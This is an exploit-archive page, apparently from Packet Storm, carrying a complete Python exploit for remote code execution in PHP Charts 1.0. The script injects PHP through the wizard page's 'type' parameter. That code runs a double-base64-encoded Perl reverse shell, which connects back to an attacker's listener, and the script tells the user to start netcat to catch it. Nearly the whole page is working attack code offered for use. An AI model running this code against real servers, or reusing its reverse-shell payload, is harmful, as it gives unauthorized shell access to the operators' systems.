exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Charts 1.0 Remote Code Execution

PHP Charts 1.0 Remote Code Execution
Posted Jun 26, 2013
Authored by infodox

This exploit leverages an eval() bug in the PHP Charts library allowing for remote code execution. A reverse shell is delivered using Perl.

tags | exploit, remote, shell, perl, php, code execution
SHA-256 | 029603a16bd1c86cec4981c7cc5216c1aedd6bad4d2e981fafffc02c8f122825

PHP Charts 1.0 Remote Code Execution

Change Mirror Download
#!/usr/bin/python
# Original Advisory came from:
# http://packetstormsecurity.com/files/119582/PHP-Charts-1.0-Code-Execution.html
# infodox - insecurety.net
import requests
import random
import threading
import sys

def genpayload(host, port):
""" Perl Reverse Shell Generator """
load = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';""" %(host, port)
encoded = load.encode('base64')
encoded = encoded.strip()
encoded = encoded.replace('\n', '')
encoded = encoded.encode('base64')
encoded = encoded.strip()
encoded = encoded.replace('\n', '') # double encoding , yes
payload = "system(base64_decode(base64_decode('%s')))" %(encoded)
return payload


def hack(pwn):
requests.get(pwn)

def main():
haxurl = "http://" + target + path + "wizard/index.php?type=';INSERTCODE;//"
payload = genpayload(host, port)
pwn = haxurl.replace("INSERTCODE", payload)
print "[+] Preparing for hax"
print "[!] Please run nc -lvp %s on your listener" %(port)
raw_input("Press Enter to Fire...") # debugging
print "[*] Sending malicious request..."
threading.Thread(target=hack, args=(pwn,)).start() # ph33r l33t thr34d1ng
print "[?] g0tr00t?"
sys.exit(0)

def randomQuote():
quotes =\
['Now with advice from Sabu!', 'Now with LOIC Support', 'Now with auto-DDoS',
'Now with auto-brag!', 'Now with advice from Kevin Mitnick', 'Now with silly quotes!',
'Comes with free forkbombs!', 'Now with a free copy of Havij', 'Are you stoned, or just stupid?']
randomQuote = random.choice(quotes)
return randomQuote

def banner():
print "PHP-Charts v1.0 Remote Code Execution Exploit."
randomquote = randomQuote()
print randomquote

if len(sys.argv) != 5:
banner()
print "Usage: %s <target host> <path to wizard> <listener host> <listener port>" %(sys.argv[0])
print "Example: %s hackme.com /wp/chart/chart/ hacke.rs 1337" %(sys.argv[0])
sys.exit(1)
else:
banner()
target = sys.argv[1]
path = sys.argv[2]
host = sys.argv[3]
port = sys.argv[4]
main()

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close